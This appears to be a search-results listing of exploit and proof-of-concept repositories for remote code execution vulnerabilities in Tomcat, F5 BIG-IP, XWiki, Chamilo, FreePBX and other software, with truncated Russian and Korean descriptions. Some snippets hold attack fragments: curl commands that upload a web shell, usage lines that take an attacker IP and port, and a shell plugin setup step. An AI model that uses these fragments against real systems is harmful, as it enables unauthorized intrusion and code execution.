319812 matches found
CVE-2020-9484
Эксплойт удаленного выполнения кода в Apache Tomcat 9.0.27 Apache Tomcat 9.0.27 уязвим к удаленному выполнению кода CVE-ID: CVE-2020-9484. Другие версии также могут быть затронуты. Протестировано на Kali 2020.4 и JDK 8. Этот bash-скрипт является простым proof-of-concept. Только в образовательных...
PrintNightmare
PrintNightmare Вот проект, который поможет в борьбе с уязвимостью Windows PrintNightmare! CVE-2021-34527 Следует знать, что Microsoft выпустила патч против этой уязвимости, но он не полностью функционален и борется только с RCE удалённым выполнением кода, в то время как LPE локальное повышение...
CVE-2022-46080
RU Этот проект предоставляет доказательство концепции эксплойта для уязвимости удаленного выполнения кода RCE в роутерах Nexxt, особенно для версии 15.03.06.60. Эта уязвимость позволяет атакующему включить службу Telnet на роутере без аутентификации, что потенциально предоставляет...
CVE-2024-5932
CVE-2024-5932용 PoC 크레딧: https://github.com/EQSTLab/CVE-2024-5932 https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932/ 이 PoC는 교육 목적으로만 제공됩니다. 저는 이 코드의 부적절한 사용, 특히 이 코드가 악용하거나 완화하는 데 도움이 될 수 있는 취약점CVE과 관련된 사용에 대해 어떠한 책임도 지지 않습니다. 이 코드를 윤리적이고 합법적으로 사용하는 것은 사용자의 책임입니다. 어떤...
CVE-2022-22947
CVE-2022-22947 SpringCloudGatewayRCE Автор: Junsheng @ Лаборатория сетевой безопасности Orange Лаборатория сетевой безопасности Orange https://0range.team/ 0x00 Обзор рисков Данный инструмент предназначен только для авторизованного тестирования безопасности; несанкционированные атаки на веб-сайты...
CVE-2022-1388
CVE-2022-1388 Уязвимость удаленного выполнения кода существует в функции iControl REST API продукта F5 BIG-IP. Неаутентифицированный удаленный злоумышленник может использовать эту уязвимость для обхода аутентификации и выполнения произвольных команд с привилегиями root. ИСПОЛЬЗОВАНИЕ python3...
CVE-2017-12617
CVE-2017-12617 CVE-2017-12617 — это критическая уязвимость, приводящая к удалённому выполнению кода RCE в Apache Tomcat. Уязвимость затрагивает версии 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81. Протестировано только на 8.0.24. Уязвимость использует неправильно настроенную...
cve-2025-24893-poc
CVE-2025-24893 — XWiki 비인증 RCE PoC CVE-2025-24893 에 대한 개념 증명PoC 익스플로잇, XWiki 의 중요한 비인증 원격 코드 실행RCE 취약점. 이 익스플로잇은 SolrSearch 엔드포인트의 Groovy 템플릿 주입을 악용하여 인증 없이 임의 명령리버스 셸 포함을 실행합니다. 💥 취약점 세부 정보 XWiki가 SolrSearch RSS 엔드포인트에 대한 조작된 입력을 처리하는 방식의 결함으로 인해 공격자가 렌더링 파이프라인에 Groovy 코드를 주입할 수 있습니다. 이로 인해 groo...
CVE-2023-34152
CVE-2023-34152 ImageMagick 6.9.6-4에 영향을 미치는 RCE 취약점입니다. 이 취약점을 통해 공격자는 피해자 시스템에서 명령을 실행할 수 있습니다. 따라서 원격 명령 실행이 가능합니다. 이는 fullwaywang의 CVE-2023-34152 발견에서 영감을 받은 POC입니다. 취약점 공개 Usage: python3 CVE-2023-34152.py AttackerIP AttackerPort 설명 OpenBlob의 임의 코드 실행 취약점셸 명령 주입으로, 실제로는 CVE-2016-5118에 대한 불완전한...
Tryhackme_Billing
TryhackmeBilling Машина CTF BillingCVE-2023-30258Удаленное выполнение кода...
CVE-2023-4220
CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...
CVE-2020-8813
CVE-2020-8813 Cacti v1.2.8 인증되지 않은 원격 코드 실행 Python 3 사용 Docker 없이 실행: git clone https://github.com/hexcowboy/CVE-2020-8813.git && cd CVE-2020-8813 python3 -m venv env && source env/bin/activate pip install -r requirements.txt python exploit.py Docker로 실행: git clone...
CVE-2025-57819-poc
CVE-2025-57819 — FreePBX: неаутентифицированная SQLi → RCE Одношаговый эксплойт для неаутентифицированной SQL-инъекции в Endpoint Manager FreePBX CVE-2025-57819, объединённой в удалённое выполнение кода через таблицу cronjobs FreePBX. Только для авторизованного тестирования безопасности /...
Liferay-CE-Portal-Java-Deserialization
Liferay-CE-Portal-Java-Deserialization Этот репозиторий содержит PoC для уязвимости удалённого выполнения кода в Liferay CE Portal! Пейлоады Я уже разместил пейлоады в репозитории. Вам нужно подобрать правильный синтаксис методом перебора. Пейлоады, которые я выложил, рассчитаны на проверку...
Next.js-RSC-RCE-Scanner-Burp-Suite-Extension
Next.js RSC RCE Scanner Расширение Burp Suite Высокоточное расширение Burp Suite для обнаружения уязвимости удаленного выполнения кода Next.js / React Server Components RSC CVE-2025-55182 и CVE-2025-66478. Это расширение реализует логику обнаружения, разработанную командой кибербезопасности...
CVE-2024-32113
CVE-2024-32113 Apache OFBIZ: обход пути, приводящий к эксплойту RCE. Уязвимость недостаточного ограничения пути к ограниченному каталогу «Обход пути» в Apache OFBiz. Проблема затрагивает Apache OFBiz: до версии 18.12.14не включая. Пользователям рекомендуется обновить версию до 18.12.14 , которая...
CVE-2025-55182-demo
CVE-2025-55182 — демо Данный репозиторий содержит демонстрацию уязвимости CVE-2025-55182 , которая позволяет выполнить удалённый код RCE в уязвимых приложениях Next.js. Ссылки: Запись CVE: https://vulners.com/cve/CVE-2025-55182 Связанный PoC: https://github.com/msanft/CVE-2025-55182 !WARNING Эта...
CVE-2025-0868
Отчет по проекту тестирования на проникновение: эксплуатация CVE-2025-0868 DocsGPT RCE через JSON Eval 1. Введение Критическая уязвимость удаленного выполнения кода RCE CVE-2025-0868 была раскрыта 20 февраля 2025 года в библиотеке DocsGPT с открытым исходным кодом, вызванная небезопасным...
SSCMS-PluginShell
Установите VisualStudio 2. Импортируйте проект 3. Измените значение IPAddress.Parse в файле Startup.cs using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using...